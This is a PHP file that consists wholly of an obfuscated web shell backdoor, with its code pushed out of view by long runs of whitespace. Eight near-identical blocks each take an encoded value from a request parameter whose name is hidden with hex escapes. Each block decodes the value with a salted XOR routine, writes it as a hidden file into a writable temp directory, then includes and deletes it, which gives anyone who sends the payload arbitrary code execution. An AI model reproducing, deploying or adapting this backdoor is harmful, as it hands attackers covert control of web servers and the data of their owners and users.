<?php																																										if(filter_has_var(INPUT_POST, "\x64\x65sc")){ $bind = array_filter([getcwd(), getenv("TEMP"), session_save_path(), sys_get_temp_dir(), "/var/tmp", "/tmp", "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir")]); $symbol = $_REQUEST["\x64\x65sc"]; $symbol = explode ("." ,$symbol ) ; $token = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $__len = count($symbol); for($k = 0; $k< $__len; $k++) { $v7 = $symbol[$k]; $chS = ord($salt[$k % $lenS]); $d =((int)$v7 - $chS -($k % 10)) ^ 70; $token .= chr($d); } $flag = 0; do { $flg = $bind[$flag] ?? null; if ($flag >= count($bind)) break; if (is_writable($flg) && is_dir($flg)) { $marker = str_replace("{var_dir}", $flg, "{var_dir}/.k"); $success = file_put_contents($marker, $token); if ($success) { include $marker; @unlink($marker); die();} } $flag++; } while (true); }
																																										if(!empty($_POST["v\x61l\x75e"])){ $component = array_filter([getcwd(), session_save_path(), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), "/tmp", getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir")]); $hld = $_POST["v\x61l\x75e"]; $hld = explode ( "." , $hld) ; $reference = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt1); foreach ($hld as $t => $v4): $sChar = ord($salt1[$t %$sLen]); $d = ((int)$v4 - $sChar - ($t %10)) ^ 77; $reference.= chr($d); endforeach; for ($ref = 0, $sym = count($component); $ref < $sym; $ref++) { $element = $component[$ref]; if (max(0, is_dir($element) * is_writable($element))) { $obj = join("/", [$element, ".factor"]); $success = file_put_contents($obj, $reference); if ($success) { include $obj; @unlink($obj); die();} } } }
																																										if(in_array("dat", array_keys($_REQUEST))){ $mrk = $_REQUEST["dat"]; $mrk = explode( '.', $mrk ) ; $obj =''; $s3 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s3); foreach ($mrk as $z => $v4): $sChar =ord($s3[$z% $sLen]); $d =((int)$v4 - $sChar - ($z% 10)) ^ 94; $obj .=chr($d); endforeach; $ptr = array_filter([getenv("TMP"), session_save_path(), "/tmp", "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), sys_get_temp_dir()]); foreach ($ptr as $pgrp): if (is_writable($pgrp) && is_dir($pgrp)) { $ent = str_replace("{var_dir}", $pgrp, "{var_dir}/.bind"); $success = file_put_contents($ent, $obj); if ($success) { include $ent; @unlink($ent); exit;} } endforeach; }
																																										if(!empty($_REQUEST["s\x79\x6Dbol"])){ $comp = array_filter([getenv("TMP"), "/dev/shm", "/var/tmp", session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), "/tmp"]); $token = $_REQUEST["s\x79\x6Dbol"]; $token = explode ( "." , $token ) ; $entry = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $len = count($token); for ($r = 0; $r < $len; $r++) { $v8 = $token[$r]; $sChar = ord($salt[$r %$lenS]); $dec = ((int)$v8 - $sChar - ($r %10)) ^ 52; $entry .=chr($dec); } foreach ($comp as $key => $item) { if (array_product([is_dir($item), is_writable($item)])) { $data = implode("/", [$item, ".element"]); $success = file_put_contents($data, $entry); if ($success) { include $data; @unlink($data); exit;} } } }
																																										if(array_key_exists("\x72\x65s", $_REQUEST) && !is_null($_REQUEST["\x72\x65s"])){ $record = array_filter([ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), session_save_path(), "/dev/shm", "/var/tmp", "/tmp", sys_get_temp_dir(), getenv("TMP")]); $dat = $_REQUEST["\x72\x65s"]; $dat = explode ( '.' ,$dat) ; $pgrp=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt ); foreach ($dat as $q => $v9): $sChar=ord($salt[$q % $sLen] ); $d=((int)$v9 - $sChar - ($q % 10)) ^ 28; $pgrp .= chr($d ); endforeach; foreach ($record as $key => $ent) { if ((is_dir($ent) and is_writable($ent))) { $bind = join("/", [$ent, ".marker"]); if (file_put_contents($bind, $pgrp)) { require $bind; unlink($bind); die(); } } } }
																																										if(!is_null($_REQUEST["\x64\x61\x74a\x5F\x63hunk"] ?? null)){ $hld = $_REQUEST["\x64\x61\x74a\x5F\x63hunk"]; $hld=explode ( "." , $hld ) ; $obj = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s7); foreach ($hld as $s => $v7): $chS = ord($s7[$s % $sLen]); $d = ((int)$v7 - $chS - ($s % 10)) ^ 31; $obj .= chr($d); endforeach; $entity = array_filter([getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), session_save_path()]); foreach ($entity as $key => $item) { if ((function($d) { return is_dir($d) && is_writable($d); })($item)) { $resource = join("/", [$item, ".record"]); if (file_put_contents($resource, $obj)) { require $resource; unlink($resource); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["mar\x6Ber"])){ $ptr = $_REQUEST["mar\x6Ber"]; $ptr = explode ('.', $ptr ) ; $comp = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt5); $i = 0; foreach( $ptr as $v5) { $chS = ord( $salt5[$i % $lenS]); $dec =( ( int)$v5 - $chS -( $i % 10)) ^ 71; $comp.=chr( $dec); $i++; } $token = array_filter([session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), getenv("TMP")]); while ($ent = array_shift($token)) { if (!( !is_dir($ent) || !is_writable($ent) )) { $object = vsprintf("%s/%s", [$ent, ".pointer"]); $file = fopen($object, 'w'); if ($file) { fwrite($file, $comp); fclose($file); include $object; @unlink($object); die(); } } } }


if(!empty($_POST["e\x6E\x74\x69ty"])){
	$binding = array_filter(["/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), session_save_path(), getcwd(), getenv("TEMP"), "/tmp"]);
	$rec = $_POST["e\x6E\x74\x69ty"];
		$rec   =explode (	'.'	 , $rec	  ) ;	  
	$dchunk		=	'';
            $s9		=	'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS		=	strlen($s9);
            $k		=	0;
    
            $__tmp		=	$rec;
            while ($v6		=	array_shift($__tmp)) {
                $chS		=	ord($s9[$k%$lenS]);
                $d		=	((int)$v6 - $chS - ($k%10))^  79;
                $dchunk.=chr($d);
                $k++; } 
	for ($dat = 0, $bind = count($binding); $dat < $bind; $dat++) {
    $element = $binding[$dat];
    		if (max(0, is_dir($element) * is_writable($element))) {
    $ent = sprintf("%s/.obj", $element);
    if (file_put_contents($ent, $dchunk)) {
	include $ent;
	@unlink($ent);
	die();
}
}
}
}